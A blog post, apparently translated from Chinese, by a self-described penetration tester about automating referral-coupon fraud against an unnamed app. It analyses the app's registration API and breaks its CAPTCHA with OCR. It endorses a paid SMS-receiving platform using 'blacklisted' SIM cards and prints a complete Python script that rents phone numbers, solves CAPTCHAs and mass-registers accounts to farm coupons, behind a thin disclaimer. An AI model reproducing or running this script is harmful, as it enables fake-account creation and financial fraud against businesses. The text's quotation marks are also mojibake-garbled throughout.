Whenever the topic of exploiting freebies comes up, my first thought is always about gray and black markets. The most typical examples are the recent cases involving Pinduoduoâs coupons and Starbucksâ free coffee offers, which were exploited to an extreme degree. Although Iâm not involved in such activities, as a penetration tester, I inevitably come across these scenarios from time to time. Moreover, Iâve heard BSRC experts share insights on this topic during my time at UESTC. While analyzing some business scenarios today, I stumbled upon a potential freebie opportunity (cue sarcastic laughter). So, I quickly wrote a script to automate the process and let it run.

Table of Contents
- What is Exploiting Freebies?
- A Quick API Testing Trick (Python)
- Building a Convolutional Neural Network with Keras to Recognize Captchas
- What is a Code Receiving Platform?
What is Exploiting Freebies?
People often mispronounce this word. Itâs pronounced hÄo!
Definition from Baidu Encyclopedia:
It refers to a group of primarily young people who take a keen interest in promotional activities offered by banks, financial institutions, and various merchants. These individuals collect promotional information, such as discounts and freebies, and share it widely online and within their social circles. This behavior is termed âexploiting freebies.â The definition has since broadened beyond the financial sector to include other areas, such as ride-hailing apps offering vouchers, food delivery discounts, and free mobile data or talk time promotions.
Today, I tested two apps. Since both were exploitable, I wonât disclose their names. Iâll analyze one of them as an example. Many apps have referral programs that reward users for inviting new sign-ups. These promotions are typically designed to attract customers by offering discounts. While regular users follow the standard process to obtain coupons, gray and black markets exploit these systems for profit by using code-receiving platforms, CAPTCHA-solving services, and app vulnerabilities to impersonate legitimate users.
Hereâs a screenshot of the appâs referral page:

Users receive a $10 coupon upon successful registration. Letâs follow the normal business logic first. Click âShare.â

Since SMS sharing is an option, we can simply share via SMS to obtain the referral link without actually sending it out.
After copying the URL, open it in a browser:

First impression: Wow, this is so basic! Thereâs no user-agent restriction, and no mobile-optimized page. Itâs clearly designed for mobile browsers. If the webpage is this simple, its security measures are likely weak as well.
Did you notice the CAPTCHA? It looks like an old-school numeric CAPTCHA with some noise, but itâs not challenging at all. A single line of code can solve it.

Next, I registered using another phone number while monitoring the process with Charles Proxy. Why not Burp Suite? Because Charles has a more user-friendly interface than Fiddler.

Requesting the SMS verification code and inspecting the data packets in Charles:

After entering the six-digit code, I completed the registration process and observed the data packets again:

At this point, I received a notification on my phone confirming the coupon.

If the above steps represent the normal user flow, itâs now time to showcase some real technical skills!
We need to focus on analyzing three key data packets:

The registration flow involves the following URLs (listed in reverse order for easier analysis):
- http://xxxxx/app/registration.html?mecode=xxxxx
This is the referral link. The âmecodeâ parameter is the referral code, and the coupon is credited to the account associated with this code. This is the only GET request; the other three are POST requests.
- http://xxxxx/los/zuche-intf-login.graphicTokenImg
This URL fetches the CAPTCHA image. Upon inspection using browser developer tools:

We see that the CAPTCHA isnât a direct image URL but a Base64-encoded string. This encoding facilitates transmission, and decoding it is straightforward:

- http://xxxxx/los/zuche-intf-login.sendAllSmsOTP
This endpoint triggers the SMS verification code and validates the CAPTCHA. For efficient analysis, refer to my earlier article:
A Quick API Testing Trick (Python)
- http://xxxxx/los/zuche-intf-login.registUser
This endpoint verifies the SMS code. If successful, the new user is registered, and the coupon is credited to the account.
140, mode=â1â˛).save(âtemp_.pngâ)
im = Image.open(âtemp_.pngâ)
code = pytesseract.image_to_string(im)
print(âImage CAPTCHA successfully recognized:â, code)
Next, we process the CAPTCHA. Many people struggle with CAPTCHA handling or immediately think of using CAPTCHA-solving platforms. However, itâs not always that complicated. Not all CAPTCHAs are difficult to handle. At least in this case, the CAPTCHA is relatively simple. Even for more complex ones, you can use convolutional neural networks (CNNs) to solve them, provided you have the time and expertise. If youâre interested, you can refer to one of my previous articles:
[Building a Convolutional Neural Network with Keras to Recognize CAPTCHAs](https://zgao.top/%e5%9f%ba%e4%ba%8ekeras%e6%9e%84%e5%bb%ba%e5%8d%b7%e7%a7%af%e7%a5%9e%e7%bb%8f%e7%bd%91%e7%bb%9c%e8%af%86%e5%88%ab%e6%ad%a3%e6%96%b9%e7%b3%bb%e7%bb%9f%e9%aa%8c%e8%af%81%e7%a0%81/)
In this case, since the CAPTCHA is neat and clean, we directly use an anonymous function for binarization to remove noise.
python
im = im.point(lambda i: i > 140, mode=â1â˛)
The value `140` was determined through experimentation. Feel free to tweak this value and observe the resultsâitâs quite interesting.
After processing, the CAPTCHA looks like this:
Now, when we pass it to OCR for recognition, the accuracy is impressively high. Note that you need to install the `pytesseract` library beforehand.
With that, the CAPTCHA is successfully handled.
â
The rest of the script-writing process doesnât require much detailed analysis; itâs just about capturing packets and sending data.
However, since weâre exploiting loopholes here, the principle is clear. But how do we handle mobile verification codes? The answer is **SMS Receiving Platforms**.
â
What is an SMS Receiving Platform?
An SMS receiving platform collects a large number of âblacklistedâ SIM cards and provides services for receiving and sending SMS verification codes. In daily life, when we want to use a specific online service, we often need to register a personal account. These platforms typically send a verification code via SMS to confirm and authenticate the user.
For black-market operations that require registering a large number of accounts but lack sufficient phone numbers, SMS receiving platforms come into play.
These platforms primarily use âSIM poolsâ to manage a large number of SIM cards. By leveraging the SMS reading capabilities of SIM pool devices, they build platforms that allow users to obtain phone numbers and verification codes. Users only need to call the platformâs API to automate the process of receiving verification codes.
For example, I used an SMS receiving platform called **[91ma.me](http://91ma.me)**, which I found quite user-friendly.
The rest of the script simply follows the API documentation provided by the platform. Currently, the cost of a single verification code is around 0.1 yuan. Iâve been using this platform for a while now. If you know of better SMS receiving platforms, feel free to recommend them to me!
â
Hereâs the complete script. Since it was written casually, itâs not very well-structured. Please bear with me!
python
import requests
import json
import sys
import time
import base64
from PIL import Image
import pytesseract
import re
mecode = âYour Invitation Codeâ
headers = {
âHostâ: âxxxxxxxxâ,
âAcceptâ: âapplication/jsonâ,
âOriginâ: âhttp://xxxxxxxxâ,
âX-Requested-Withâ: âXMLHttpRequestâ,
âUser-Agentâ: âMozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.142 Safari/537.36â,
âContent-Typeâ: âapplication/json;charset=UTF-8â,
âRefererâ: âhttp://xxxxxxxx/app/registration.html?mecode=4UU2B8Vcâ,
âAccept-Languageâ: âzh-CN,zh;q=0.9,ja;q=0.8â,
}
r0 = requests.get(âhttp://api.fxhyd.cn/UserInterface.aspx?action=login&username=YourUsername&password=YourPasswordâ)
if âsuccessâ not in r0.text:
sys.exit(1)
print(âSuccessfully logged into the SMS receiving platform!â)
token = r0.text.split(â|â)[1]
r1 = requests.get(fâhttp://api.fxhyd.cn/UserInterface.aspx?action=getaccountinfo&token={token}â)
if âsuccessâ not in r1.text:
sys.exit(2)
print(fâCurrent balance: {r1.text.split(â|â)[4]} yuanâ)
timestamp = int(time.time())
r2 = requests.get(fâhttp://api.fxhyd.cn/UserInterface.aspx?action=getmobile&token={token}&itemid=7372&excludeno=170.171.188×tamp={timestamp}â)
if âsuccessâ not in r2.text:
print(r2.text)
sys.exit(3)
PhoneNum = r2.text.split(â|â)[1]
print(fâCurrent phone number obtained: {PhoneNum}â)
params = â{âmecodeâ:â4UU2B8Vcâ}â
data = â{â_channel_idâ:â08âł,â_client_version_noâ:â1.0âł}â
r = requests.session()
rs = r.get(âhttp://xxxxxxxx/app/registration.htmlâ, headers=headers, params=params, verify=False)
rs = r.post(âhttp://xxxxxxxx/los/zuche-intf-login.graphicTokenImgâ, headers=headers, data=data)
ImgBase = json.loads(rs.text)[âmodelâ][â_content_â]
with open(âtemp.pngâ, âwbâ) as f:
f.write(base64.b64decode(ImgBase))
im = Image.open(âtemp.pngâ)
im = im.convert(âLâ)
im = im.point(lambda i: i > 140, mode=â1â˛).save(âtemp_.pngâ)
im = Image.open(âtemp_.pngâ)
code = pytesseract.image_to_string(im)
print(âImage CAPTCHA successfully recognized:â, code)
data = â{â_channel_idâ:â08âł,â_client_version_noâ:â1.0âł,âotpTypeâ:âregistâ,âphoneâ:â%sâ,âdynamicTokenâ:â%sâ}â % (PhoneNum, code)
r3 = r.post(âhttp://xxxxxxxx/los/zuche-intf-login.sendAllSmsOTPâ, headers=headers, data=data)
if json.loads(r3.text)[âresponseCodeâ] == â000000â:
print(âSuccessfully triggered the platform to send a verification code!â)
for i in range(10):
r4 = requests.get(fâhttp://api.fxhyd.cn/UserInterface.aspx?action=getsms&token={token}&itemid=7372&mobile={PhoneNum}&release=1×tamp={timestamp}â)
if â3001â in r4.text:
print(fâWaiting for verification code⌠Attempt {i + 1}â)
time.sleep(3)
if i == 9:
print(âVerification code retrieval took too long. StoppingâŚâ)
r5 = requests.get(fâhttp://api.fxhyd.cn/UserInterface.aspx?action=release&token={token}&itemid=7372&mobile={PhoneNum}â)
if âsuccessâ in r5.text:
print(âPhone number successfully released!â)
sys.exit(4)
if âsuccessâ in r4.text:
VerifyCode = re.search(â[0-9]{6}â, r4.text).group()
print(fâVerification code successfully retrieved: {VerifyCode}â)
break
data = â{â_channel_idâ:â08âł,â_client_version_noâ:â1.0âł,âinviteCodeâ:â%sâ,âmedCodeâ:ââ,âsourceâ:ââ,âcityIdâ:ââ,âphoneâ:â%sâ,âphoneCheckCodeâ:â%sâ}â % (mecode, PhoneNum, VerifyCode)
r6 = r.post(âhttp://xxxxxxxx/los/zuche-intf-login.registUserâ, headers=headers, data=data)
if json.loads(r6.text)[âresponseCodeâ] == â000000â:
print(âCoupon successfully claimed!â)
â
Disclaimer
The above code is for educational purposes only. Do not use it for illegal activities! The author is not responsible for any misuse.
â
And with that, weâve automated the process of exploiting this loophole. Happy hacking (just kidding)! đ
Then, in my mobile app, I suddenly had a ton ofâŚ

Let me make this clear: I do not engage in black-hat or gray-hat activities. I am a security professional, and I absolutely refuse to use these coupons that Iâve discovered through my own research!!!

Alright, letâs not dwell on that. So, how can we prevent or at least minimize being exploited in this way?
Do some research on countermeasures against black-hat and gray-hat activities. For businesses, itâs absolutely critical to establish a robust risk control system!!! Otherwise, you might end up in a situation as painful as the one Pinduoduo experienced last time.